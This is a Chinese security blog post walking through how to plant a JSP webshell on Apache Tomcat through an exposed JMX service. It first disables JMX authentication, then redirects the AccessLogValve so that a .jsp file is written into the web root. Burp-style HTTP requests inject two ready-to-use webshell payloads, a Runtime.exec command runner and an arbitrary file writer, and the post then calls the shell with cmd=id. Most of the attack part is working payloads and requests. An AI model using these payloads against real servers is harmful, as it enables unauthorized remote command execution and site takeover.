Tomcat JMX上传WebShell

  • A+
所属分类:网络安全文章

1、 配置tomcat启动jconsole到1099端口的配置:

  1. //可以将其设置为无密码访问:
  2. cd /opt/apache-tomcat-8.0.3/bin
  3. vi catalina.sh
  1. Code
  2. # OS specific support. $var _must_ be set to either true or false.添加如下变量:
  3. CATALINA_OPTS="$JAVA_OPTS -Djava.rmi.server.hostname=192.168.1.100 
  4. -Dcom.sun.management.jmxremote.port=1099 
  5. -Dcom.sun.management.jmxremote.authenticate=false 
  6. -Dcom.sun.management.jmxremote.ssl=false"

//重启tomcat:

./shutdown.sh

./startup.sh

2、 本地->运行输入:jconsole
Tomcat JMX上传WebShell

  1. //VM概要中获得tomcat的web主目录 :
  2. Dcatalina.home=/opt/apache-tomcat-8.0.3

//获得/manager/html后台的访问密码:

//上传webshell:

  1. MBeans->Catalina->Valve->localhost->AccessLogValue->操作 可以写入jsp后门:
  2. ../webapps/docs/cesafe.jsp //测试成功
  3. /opt/apache-tomcat-8.0.3/webapps/docs/cesafe.jsp

Tomcat JMX上传WebShell

//使用burpsuite写入cmd后门:

  1. GET /test?<%Runtime.getRuntime().exec(request.getParameter("www.cesafe.com"));%> HTTP/1.1
  2. Host: 192.168.1.100:8080

Code

  1. GET /test?<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"></jsp:directive><jsp:directive.page import="java.io.OutputStream"></jsp:directive><jsp:directive.page import="java.io.FileOutputStream"></jsp:directive><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart"> HTTP/1.1
  2. Cache-Control: max-age=0
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Maxthon/5.2.3.6000
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  6. DNT: 1
  7. Accept-Language: zh-CN
  8. Cookie: JSESSIONID=FD5D2DAF6665FC4C3CC90C814757BF97
  9. Connection: close
  10. Content-Length: 2

//访问webshell地址:

  1. http://192.168.1.100:8080/docs/www.cesafe.com.jsp?cmd=id
  • 服务器购买微信群
  • 阿里云&腾讯云&国外VPS
  • weinxin
  • 服务器购买QQ群
  • 阿里云&腾讯云&国外VPS
  • weinxin
CE安全网

发表评论

您必须登录才能发表评论!